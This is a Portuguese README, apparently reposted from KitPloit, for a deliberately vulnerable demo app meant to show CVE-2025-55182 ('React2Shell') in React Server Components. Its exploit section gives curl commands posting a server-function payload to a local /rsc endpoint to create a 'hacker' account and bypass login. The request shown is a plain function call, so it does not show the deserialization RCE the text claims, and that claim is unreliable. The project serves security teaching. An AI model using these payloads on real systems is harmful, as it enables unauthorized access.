Projeto de Demonstração da Vulnerabilidade React CVE-2025-55182

⚠️ AVISO DE SEGURANÇA

Este projeto demonstra uma vulnerabilidade crítica de RCE (CVE-2025-55182 / React2Shell) no React Server Components 19.1.1.

• APENAS PARA FINS EDUCACIONAIS E DE PESQUISA EM SEGURANÇA
• NUNCA implante em produção ou exponha a redes não confiáveis
• Execute apenas em ambientes isolados e controlados
• Garanta a devida autorização antes de testar

Visão Geral

Este projeto demonstra a CVE-2025-55182 (React2Shell), uma vulnerabilidade crítica de Execução Remota de Código (RCE) no React Server Components 19.1.1. A aplicação inclui:

• Um site de página única com autenticação por nome de usuário/senha
• Implementação de React Server Components (RSC)
• Endpoint do protocolo RSC Flight (vulnerável)
• Configuração de implantação Docker
• Payload de exploit POC demonstrando a vulnerabilidade

Estrutura do Projeto

react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

Pré-requisitos

• Node.js 18+
• Docker e Docker Compose (opcional, para implantação em contêiner)
• npm ou yarn

Instalação

Desenvolvimento Local

1. Clone ou faça o download deste repositório
2. Instale as dependências:
   root@kitploit:~

   npm install
   

3. Inicie o servidor:
   root@kitploit:~

   npm start
   

4. Acesse a aplicação em http://localhost:3000

Implantação com Docker

1. Construa e execute com Docker Compose:

   root@kitploit:~

   docker-compose up --build
   

   Ou construa e execute manualmente:

   root@kitploit:~

   docker build -t react-cve-demo .
   docker run -p 3000:3000 react-cve-demo
   

2. Acesse a aplicação em http://localhost:3000

Fluxo de Uso

Fluxo de Autenticação Normal

1. Acesse a aplicação: Navegue para http://localhost:3000
2. Página de login: Você verá um formulário de login
3. Credenciais padrão:
   • Usuário: admin, Senha: securepassword123
   • Usuário: user1, Senha: password123
4. Login bem-sucedido: Você será redirecionado para o painel protegido
5. Logout: Clique no botão de logout para retornar à página de login

Demonstração da Vulnerabilidade

A vulnerabilidade existe no mecanismo de desserialização do protocolo RSC Flight. O exploit:

1. Cria um payload serializado malicioso direcionado a endpoints de Server Function
2. Explora a desserialização insegura para executar JavaScript arbitrário
3. Cria uma nova entrada de usuário no arquivo JSON
4. Ignora a autenticação usando as novas credenciais

Executando o Exploit POC

Opção 1: Script Node.js

node exploit/poc.js

Ou com uma URL de destino personalizada:

TARGET_URL=http://localhost:3000 node exploit/poc.js

Opção 2: Script Bash

./exploit/poc.sh

Ou com uma URL de destino personalizada:

TARGET_URL=http://localhost:3000 ./exploit/poc.sh

Opção 3: Comando curl Manual

Versão em uma linha:

curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Versão em várias linhas (para legibilidade):

curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Nota: Um comando de uma linha pronto para copiar e colar também está disponível em exploit/curl-oneline.txt

Após a Exploração

Após executar o exploit:

1. O exploit cria um novo usuário em data/users.json
2. Agora você pode fazer login com as credenciais recém-criadas:
   • Usuário: hacker
   • Senha: hacked123
3. Isso demonstra como a vulnerabilidade pode ignorar a autenticação

Detalhes Técnicos

Vulnerabilidade (CVE-2025-55182)

A vulnerabilidade existe no React Server Components 19.1.1, especificamente em:

• Component: react-server-dom-webpack
• Version: 19.1.1 (vulnerable)
• Problema: Desserialização insegura no protocolo RSC Flight
• Impacto: Execução Remota de Código (RCE)
• CVSS: Crítico

Implementação do Servidor

O servidor (server.js) implementa:

• Express.js HTTP server
• RSC Flight protocol endpoint (/rsc)
• Execução de Server Function (endpoint vulnerável)
• Gerenciamento de sessão
• Serviço de arquivos estáticos

Sistema de Autenticação

• Componente de Login: Formulário do lado do cliente para nome de usuário/senha
• Componente de Servidor de Autenticação: Lógica de autenticação do lado do servidor
• Armazenamento de Usuários: Arquivo JSON (data/users.json) armazenando credenciais
• Rotas Protegidas: Painel requer autenticação

Protocolo RSC Flight

O endpoint do protocolo RSC Flight aceita:

• action: "callServerFunction": Executar funções do servidor
• action: "renderRSC": Renderizar React Server Components

A vulnerabilidade existe na forma como as chamadas de Server Function são desserializadas e executadas.

Considerações de Segurança

⚠️ Avisos Críticos

1. Ambiente Isolado: Execute apenas em ambientes controlados e isolados
2. Sem Uso em Produção: Nunca implante código vulnerável em produção
3. Isolamento de Rede: Não exponha a redes não confiáveis
4. Propósito Educacional: Apenas para pesquisa e educação em segurança
5. Conformidade Legal: Garanta a devida autorização antes de testar

Melhores Práticas

• Use uma VM ou contêiner dedicado para testes
• Desative o acesso à rede, exceto para localhost
• Não armazene dados sensíveis no ambiente de teste
• Limpe os dados de teste após a demonstração
• Siga práticas de divulgação responsável

Dependências

• React: 19.1.1 (vulnerable version)
• react-server-dom-webpack: 19.1.1 (vulnerable package)
• Express.js: ^4.18.2
• express-session: ^1.17.3
• Node.js: 18+

Solução de Problemas

O servidor não inicia

• Verifique se a porta 3000 não está em uso
• Verifique se a versão do Node.js é 18 ou superior
• Certifique-se de que todas as dependências estão instaladas (npm install)

O exploit não funciona

• Verifique se o servidor está em execução
• Verifique se o endpoint RSC está acessível
• Revise os logs do servidor para erros
• Certifique-se de que o script de exploit tem as permissões adequadas

Problemas com Docker

• Certifique-se de que o Docker está em execução
• Verifique a compatibilidade da versão do Docker Compose
• Verifique se a porta 3000 está disponível
• Revise os logs do Docker: docker-compose logs

Referências

• CVE-2025-55182: Vulnerabilidade React2Shell
• Documentação do React Server Components
• Especificação do protocolo RSC Flight

Licença

Licença MIT - Apenas para fins educacionais

Aviso Legal

Este software é fornecido apenas para fins educacionais e de pesquisa em segurança. Os autores e colaboradores não são responsáveis por qualquer uso indevido ou danos causados por este software. Use por sua conta e risco e garanta conformidade com todas as leis e regulamentos aplicáveis.